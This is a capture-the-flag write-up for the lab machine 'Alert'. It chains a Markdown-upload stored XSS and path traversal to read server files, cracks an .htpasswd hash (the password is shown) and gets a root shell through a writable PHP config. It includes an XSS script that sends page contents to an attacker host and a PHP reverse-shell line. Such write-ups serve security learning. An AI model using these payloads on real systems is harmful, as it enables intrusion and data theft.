Machine Card listing Alert as an easy Linux box

Reconnaissance

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Besides the SSH port there’s only HTTP on port 80 with a redirect to alert.htb, so I’ll add this domain to my /etc/hosts file.

Initial Access

Website showing an upload to a Markdown Viewer

Browsing to the web page shows an upload form for Markdown files. There’s also a contact form when going to Contact Us that takes an email address and a message. Sending anything that resembles a link via the form provokes a callback.

Fuzzing for additional web pages with ffuf reveals messages. Accessing it through /index.php?page=messages or /messages.php just shows a blank page. There are probably some kind of access restrictions in place.

$ ffuf -u "http://alert.htb/index.php?page=FUZZ" \
       -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
       -fs 690
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://alert.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 690
________________________________________________
 
about                   [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 25ms]
contact                 [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 927ms]
messages                [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 31ms]
donate                  [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 42ms]
alert                   [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 41ms]

Since Markdown files can also contain Javascript I prepare a simple file for the upload.

### Hello World
 
<script src='http://10.10.10.10/xss.js'>
</script>

After uploading the file, the contents are displayed on the page and I get a callback from my own browser. Additionally there’s a share functionality that returns a link to my uploaded file, turning this into a stored XSS.

I’ll place a simple Javascript payload into xss.js that fetches the contents of the messages page and exfiltrates it as base64 encoded string to my web server.

xss.js
function exfil(data) {
    const e = new XMLHttpRequest();
    e.open("GET", "http://10.10.10.10/?callback=" + btoa(data));
    e.send();
}
 
const xhr = new XMLHttpRequest();
xhr.open("GET", "/messages.php", false);
xhr.send();
exfil(xhr.responseText);

Through the contact form I send the link to my uploaded Markdown file and receive a callback with the encoded contents of /messages.php. This time it’s not empty and contains some HTML.

<h1>Messages</h1>
<ul>
	<li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a>
	</li>
</ul>

As this looks like it’s retrieving a text file from disk, I check for path traversal next. Therefore I quickly modify xss.js to retrieve /messages.php?file=../../../../../../../../../etc/passwd instead and re-send the link to my Markdown file to the target. This returns the contents of the passwd file and reveals albert and david as possible users.

root:x:0:0:root:/root:/bin/bash
--- SNIP ---
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash

Next I’ll exfiltrate the contents of /etc/apache2/sites-available/000-default.conf to have a look at the configuration of the web server. This uncovers another subdomain called statistics that is secured by basic authentication.

/etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
    ServerName alert.htb
 
    DocumentRoot /var/www/alert.htb
 
    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>
 
    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
 
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
 
<VirtualHost *:80>
    ServerName statistics.alert.htb
 
    DocumentRoot /var/www/statistics.alert.htb
 
    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>
 
    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>
 
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Retrieving the contents of the .htpasswd file reveals a hash for the user albert.

.htpasswd
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

This hash cracks after a few seconds with hashcat in mode 1600 and using --user since the file contains the username alongside the hash.

$ hashcat --user -m 1600 htpasswd /usr/share/wordlists/rockyou.txt
 
--- SNIP ---
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
--- SNIP ---

With albert:manchesterunited I am able to login via SSH and collect the first flag.

Privilege Escalation

The user albert is not allowed to run sudo but is part of the management group, so I’ll check if there are any interesting files owned by this group.

$ find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php

The search finds one file called configuration.php that is owned by user root but group-writeable by the management group. Since the configuration is loaded upon calling the scripts in the parent directory, I’ll add my reverse shell there.

/opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
$sock=fsockopen("10.10.10.10",9001);system("sh <&3 >&3 2>&3");
?>

After waiting a few moments there’s a callback on my listener as root, allowing me to read the final flag.

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Markdown Viewer) -->|File Upload| B(Stored XSS)
	B -->|Local File Read| C(Read Files on server)
	C --> D(Contents of .htpasswd)
	D -->|Hashcat| E(Password for user albert)
end

subgraph "Privilege Escalation"
	E -->|Membership in management| F(Writeable PHP config file)
	F -->|Reverse Shell| G(Shell as root)
end